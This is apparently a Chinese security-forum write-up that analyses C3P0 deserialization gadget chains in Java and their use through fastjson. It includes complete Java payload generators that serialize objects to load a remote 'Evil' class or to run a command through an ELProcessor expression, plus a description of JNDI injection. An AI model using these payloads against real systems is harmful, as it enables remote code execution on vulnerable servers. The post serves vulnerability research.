Java安全-C3P0

简述

c3p0是用于创建和管理连接,利用“池”的方式复用连接减少资源开销,和其他数据源一样,也具有连接数控制、连接可靠性测试、连接泄露控制、缓存语句等功能。

原生反序列化利用

远程加载类

看一下YSO的利用链:

看起来像jndi注入。

先分析吧。

利用链分析

PoolBackedDataSourceBase实现了IdentityTokenized 接口,此接口用于支持注册功能。每个DataSource实例都有一个identityToken,用于在C3P0Registry中注册。 还持有PropertyChangeSupport和VetoableChangeSupport对象,并提供了添加和移除监听器的方法

该类在序列化时需要存储对象的 connectionPoolDataSource 属性,该属性是ConnectionPoolDataSource接口对象。

如果属性不是可序列化的,就使用com.mchange.v2.naming.ReferenceIndirector#indirectForm

调用(Referenceable)对象的getReference 方法获取Reference对象,然后 生成一个可序列化的IndirectlySerialized对象。

也就是内置类com.mchange.v2.naming.ReferenceIndirector.ReferenceSerialized#ReferenceSerialized

在反序列化时,会把他读出来,

如果他是继承于IndirectlySerialized类的,就会调用对象的getObject方法重新生成connectionPoolDataSouce对象。本来以为这里存在JNDI注入,

但发现这里的contextName不可控,这里暂且能控制的只有reference属性,所以这个利用链应该是存在问题的。而且跟他下面的代码也对应不起来。

跟进ReferenceableUtils.*referenceToObject*

从这里可以看到,从Reference对象中拿出classFactory classFactoryLocation 属性,然后使用URLClassLoaderclassFactoryLocation中加载classFactory类。

构造Payload

创建一个实现了 ReferenceableConnectionPoolDataSource两个接口的类,但不能实现Serializable

这个类其实并不会影响后面的反序列化,因为在序列化时,这个类的对象已经被封装成了ReferenceSerialized 对象,

后续也是使用的他的getReference 方法获取的Reference 对象,关键就是getReference方法。

package com.c3p0;


import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;

public class c3p0SerDemo {
    private static class ConnectionPool implements ConnectionPoolDataSource , Referenceable{

        protected String classFactory = null;

        protected String classFactoryLocation = null;

        public ConnectionPool(String classFactory,String classFactoryLocation){
            this.classFactory = classFactory;
            this.classFactoryLocation = classFactoryLocation;
        }
        @Override
        public Reference getReference() throws NamingException {
            return new Reference("ref",classFactory,classFactoryLocation);
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }
    public static void main(String[] args) throws Exception{

        Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
        constructor.setAccessible(true);
        PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();

        ConnectionPool connectionPool = new ConnectionPool("Evil","http://127.0.0.1:8888/");
        Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(obj, connectionPool);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));
    }
}

不出网利用

参考雨了个雨师傅的文章。

还是com.mchange.v2.naming.ReferenceableUtils#referenceToObject 方法,

public static Object referenceToObject( Reference ref, Name name, Context nameCtx, Hashtable env)
    throws NamingException
    {
    try
        {
        ……
        else
            {
            URL u = new URL( fClassLocation );
            cl = new URLClassLoader( new URL[] { u }, defaultClassLoader );
            }

        Class fClass = Class.forName( fClassName, true, cl );
        ObjectFactory of = (ObjectFactory) fClass.newInstance();
        return of.getObjectInstance( ref, name, nameCtx, env );

如果不使用URLClassLoader加载类的话,就需要加载并实例化本地实现了ObjectFactory 接口的类,并调用getObjectInstance 方法,这个方法在JNDI注入中有提到。

回顾一下JNDI注入的原理

目标代码中调用了InitialContext.lookup(URI),且URI为用户可控;
攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name;

攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;

目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;

攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;

在JDK8u191后出现了trustCodebaseURL的限制,无法加载远程codebase下的字节码,其中一种绕过是打本地的Gadgets,后来又出现一种就是找到一个本地可以利用ObjectFactory 类,因为后面会对他实例化并调用getObjectInstance方法。

原作者提出的是在 Tomcat 依赖里的org.apache.naming.factory.BeanFactory 类。

可以跟进看一下

@Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                    Hashtable<?,?> environment)
        throws NamingException {

        if (obj instanceof ResourceRef) {
            try {
                Reference ref = (Reference) obj;
                String beanClassName = ref.getClassName();
                Class<?> beanClass = null;
                ClassLoader tcl =
                    Thread.currentThread().getContextClassLoader();
                if (tcl != null) {
                    try {
                        beanClass = tcl.loadClass(beanClassName);
                    ……
                } else {
                    try {
                        beanClass = Class.forName(beanClassName);
                    ……
                }
                    ……
                Object bean = beanClass.getConstructor().newInstance();

                /* Look for properties with explicitly configured setter */
                RefAddr ra = ref.get("forceString");
                Map<String, Method> forced = new HashMap<>();
                String value;

                if (ra != null) {
                    value = (String)ra.getContent();
                    Class<?> paramTypes[] = new Class[1];
                    paramTypes[0] = String.class;
                    String setterName;
                    int index;

                    /* Items are given as comma separated list */
                    for (String param: value.split(",")) {
                        param = param.trim();
                        /* A single item can either be of the form name=method
                         * or just a property name (and we will use a standard
                         * setter) */
                        index = param.indexOf('=');
                        if (index >= 0) {
                            setterName = param.substring(index + 1).trim();
                            param = param.substring(0, index).trim();
                        } else {
                            ……
                        }
                        try {
                            forced.put(param,
                                       beanClass.getMethod(setterName, paramTypes));
                        } catch (NoSuchMethodException|SecurityException ex) {
                            ……
                        }
                    }
                }

                Enumeration<RefAddr> e = ref.getAll();

                while (e.hasMoreElements()) {

                    ra = e.nextElement();
                    String propName = ra.getType();

                    if (propName.equals(Constants.FACTORY) ||
                        propName.equals("scope") || propName.equals("auth") ||
                        propName.equals("forceString") ||
                        propName.equals("singleton")) {
                        continue;
                    }

                    value = (String)ra.getContent();

                    Object[] valueArray = new Object[1];

                    /* Shortcut for properties with explicitly configured setter */
                    Method method = forced.get(propName);
                    if (method != null) {
                        valueArray[0] = value;
                        try {
                            method.invoke(bean, valueArray);
                        } catch (IllegalAccessException|
                          ……
                        }
                        continue;
                    }

                   ……
                }

                return bean;

            } catch (java.beans.IntrospectionException ie) {
                ……
            } catch (java.lang.ReflectiveOperationException e) {
                ……
            }

        } else {
            return null;
        }

    }

存在反射的操作。

通过Reference 对象 refgetClassName 方法获取类名,然后加载类后反射创建实例 beanClass,需要有无参数构造器。

然后获取绑定在 forceString 上的 RefAddr 对象 ra,,获取该对象的值,使用 = 号分隔,前面的作为key,以后面的部分为方法名,参数列表为字符串类型来反射获取beanClassMethod,作为value 写入一个HashMap中。

接着就要遍历 ref 上的所有RefAddr对象,类型不可以是factory scope auth forceString singleton

根据类型从上面的哈希表里 拿到 Method,反射执行Method,参数使用RefAddr对象的值。

可以直接在ref中绑定两个StringRefAddr

使用javax.el.ELProcessoreval 方法,执行任意EL表达式。

这里有个bracket操作,添加了${}

demo如下。

public class c3p0UnserDemo {
    public static void main(String[] args) throws Exception{
        RefAddr forceStringAddr = new StringRefAddr("forceString","x=eval");
        RefAddr xStringAddr = new StringRefAddr("x","''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc')");
        Reference ref = new ResourceRef("javax.el.ELProcessor",null,null,null,false);
        ref.add(forceStringAddr);
        ref.add(xStringAddr);
        ObjectFactory beanFactory = new BeanFactory();
        beanFactory.getObjectInstance(ref,null,null,null);
    }
}

反序列化构造Ref时需要加上Factory类名,和FactoryLocation

public class c3p0SerDemo {
    private static class ConnectionPool implements ConnectionPoolDataSource , Referenceable{

        protected String classFactory = null;

        protected String classFactoryLocation = null;

        public ConnectionPool(String classFactory,String classFactoryLocation){
            this.classFactory = classFactory;
            this.classFactoryLocation = classFactoryLocation;
        }
        @Override
        public Reference getReference() throws NamingException {
            RefAddr forceStringAddr = new StringRefAddr("forceString","x=eval");
            RefAddr xStringAddr = new StringRefAddr("x","''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc')");
            Reference ref = new ResourceRef("javax.el.ELProcessor",null,null,null,false,classFactory,classFactoryLocation);
            ref.add(forceStringAddr);
            ref.add(xStringAddr);

            return ref;
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }
    public static void main(String[] args) throws Exception{

        Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
        constructor.setAccessible(true);
        PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();

        ConnectionPool connectionPool = new ConnectionPool("org.apache.naming.factory.BeanFactory",null);
        Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(obj, connectionPool);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));
    }
}

具体细节看参考。

fastjson中的利用

jndi注入

看一下com.mchange.v2.c3p0.JndiRefForwardingDataSource

找调用了 inner() 的setter 方法。

除了设置jndiName属性外,再设置一下 logWriter 或者 loginTimeout 属性就行,由于logWriter 需要给一个PrintWriter对象,直接loginTimeout好了。

二次反序列化

这个链子稍微有点复杂,慢慢分析好了。

先说一下 VetoableChangeListenerVetoableChangeSupport

前者就是一个监听器,当Bean中受约束的属性改变时,就会调用监听器的VetoableChange 方法。

后者拥有VetoableChangeListener的监听器列表,并且会向监听器列表发送 PropertyChangeEvent ,来跟踪属性的更改情况。PropertyChangeEvent 存储着Bean某属性名的新旧值。

跟进 com.mchange.v2.c3p0.WrapperConnectionPoolDataSource

这个类在初始化时会调用setUpPropertyListeners 方法开启属性监听

该方法自定义了一个监听器,然后重写vetoableChange 方法

给他加载到自己的 vcs属性的监听器列表里。

在设置属性时,为了监控属性的变化,就会去调用vcs.fireVetoableChange 方法,此方法有很多重载,但最后都会封装一个PropertyChangeEvent 对象,

传递给监听器的vetoableChange方法。

整个流程看过来,可以发现其中最主要的,还是要看监听器的vetoableChange 方法如何实现。

public void vetoableChange( PropertyChangeEvent evt ) throws PropertyVetoException
        {
            String propName = evt.getPropertyName();
            Object val = evt.getNewValue();

            if ( "connectionTesterClassName".equals( propName ) )
            {
                try
                { recreateConnectionTester( (String) val ); }
                catch ( Exception e )
                {
                    //e.printStackTrace();
                    if ( logger.isLoggable( MLevel.WARNING ) )
                    logger.log( MLevel.WARNING, "Failed to create ConnectionTester of class " + val, e );

                    throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt);
                }
            }
            else if ("userOverridesAsString".equals( propName ))
            {
                try
                { WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( (String) val ); }
                catch (Exception e)
                {
                    if ( logger.isLoggable( MLevel.WARNING ) )
                    logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, e );

                    throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
                }
            }
        }

这里只监听两个属性名,connectionTesterClassName 属性通过recreateConnectionTester 方法重新实例化一个ConnectionTester 对象,不可行。

userOverridesAsString 属性 会使用C3P0ImplUtils.*parseUserOverridesAsString* 来处理新值。

截取从HexAsciiSerializedMap后的第二位到倒数第二位 中间的hex字符串,可以构造形如 HexAsciiSerializedMap:hex_code;

解码后,开始反序列化。

攻击点就是userOverridesAsString 属性的setter 方法。

也不需要其他Gadget,直接拿上面的gadgets就能打。

参考

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/C3P0.java

https://github.com/Firebasky/Fastjson#c3p0jndirefforwardingdatasource

https://www.w3cschool.cn/doc_openjdk_8/openjdk_8-java-beans-vetoablechangesupport.html?lang=en

http://www.yulegeyu.com/2021/10/10/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BC3P0%E4%B8%8D%E5%87%BA%E7%BD%91%E5%88%A9%E7%94%A8/

点击收藏 | 2 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖